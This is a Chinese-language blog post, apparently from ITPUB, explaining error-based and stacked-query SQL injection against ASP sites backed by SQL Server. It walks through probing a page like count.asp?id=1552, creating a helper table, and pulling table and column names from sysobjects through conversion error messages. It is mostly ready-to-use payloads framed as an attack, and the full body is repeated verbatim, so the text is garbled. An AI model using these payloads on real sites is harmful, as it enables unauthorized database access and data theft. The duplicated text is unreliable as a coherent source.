SQL指令碼注入的不常見方法概括
據庫存有一個副本。另處根據模板生成一個HTML頁面。
攻擊方法: 檢視原始檔/看裡面是否有通過JS來呼叫的頁面。如呼叫來更新文章的瀏覽次數。
我們就可以這樣來試一下可否注入: http://伺服器域名/count.asp?id=1552’
看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。
在本機建立一下post.htm的檔案和log.txt的文字檔案(用來記錄用,這是一個好習慣)
post.htm內容:主要是方便輸入。
對於SQLSERVER的伺服器可以這樣判斷:在1552後加一分號,如正常有可能是SQLSERVER
對於這類資料庫可以先建一個表id=1552; create table aaa(aaa char(20)); --
然後插入一條記錄:id=1552; insert into aaa values(’test’); --
再之後列舉出他的資料表名:
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0); --
這是將第一個表名更新到aaa的欄位處。
id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07’
將 varchar 值 ’vote’ 轉換為資料型別為 int 的列時發生語法錯誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>’剛才得到的表名’)。
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’); --
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),1)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),2)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
……類推
攻擊方法: 檢視原始檔/看裡面是否有通過JS來呼叫的頁面。如呼叫來更新文章的瀏覽次數。
我們就可以這樣來試一下可否注入: http://伺服器域名/count.asp?id=1552’
看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。
在本機建立一下post.htm的檔案和log.txt的文字檔案(用來記錄用,這是一個好習慣)
post.htm內容:主要是方便輸入。
對於SQLSERVER的伺服器可以這樣判斷:在1552後加一分號,如正常有可能是SQLSERVER
對於這類資料庫可以先建一個表id=1552; create table aaa(aaa char(20)); --
然後插入一條記錄:id=1552; insert into aaa values(’test’); --
再之後列舉出他的資料表名:
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0); --
這是將第一個表名更新到aaa的欄位處。
id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:
Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07’
將 varchar 值 ’vote’ 轉換為資料型別為 int 的列時發生語法錯誤。
/search.asp,行21
其中vote就是表名:
也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>’剛才得到的表名’)。
id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’); --
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),1)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),2)); --
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
……類推
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-660414/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- SQL隱碼攻擊之常見注入的步驟④SQL
- Python 防止sql注入的方法PythonSQL
- SQL Server映象自動生成指令碼方法SQLServer指令碼
- .Net防sql注入的方法總結SQL
- SQL 的後計算指令碼SQL指令碼
- SQL 注入SQL
- sql注入SQL
- SQL 注入:聯合注入SQL
- sql注入之union注入SQL
- SQL隱碼攻擊-堆疊注入SQL
- SQL SERVER巡檢指令碼SQLServer指令碼
- mybatis執行sql指令碼MyBatisSQL指令碼
- python指令碼處理偽靜態注入Python指令碼
- iOS使用shell指令碼注入混淆內容iOS指令碼
- katoto站點被注入指令碼攻擊指令碼
- js中Object那些不常用的方法JSObject
- 防止sql注入SQL
- sql注入修改SQL
- sql注入1SQL
- sql注入2SQL
- SQL隱碼攻擊原理——萬能密碼注入SQL密碼
- 3、python指令碼處理偽靜態注入Python指令碼
- sql_trace相關指令碼SQL指令碼
- catalog.sql指令碼介紹SQL指令碼
- 不常用卻很有妙用的事件及方法事件
- React 原始碼中的依賴注入方法React原始碼依賴注入
- mssql sqlserver 使用sql指令碼 清空所有資料庫表資料的方法分享SQLServer指令碼資料庫
- meterpreter常見指令碼介紹指令碼
- [20231025]完善tpt的trans.sql指令碼.txtSQL指令碼
- [20220823]完善tpt的ashtop.sql指令碼.txtSQL指令碼
- golang中一種不常見的switch語句寫法Golang
- [譯] 可用但最不常見的 HTML5 標籤HTML
- SQL隱碼攻擊中二階注入原理SQL
- SQL隱碼攻擊 - 手工注入sqli-labsSQL
- [20231117]完善ashtt.sql指令碼.txtSQL指令碼
- [20230203]完善awr.sql指令碼.txtSQL指令碼
- [20230123]完善curheapz.sql指令碼.txtSQL指令碼
- [20221101]完善descz.sql指令碼.txtSQL指令碼
- [20221101]完善gts.sql指令碼.txtSQL指令碼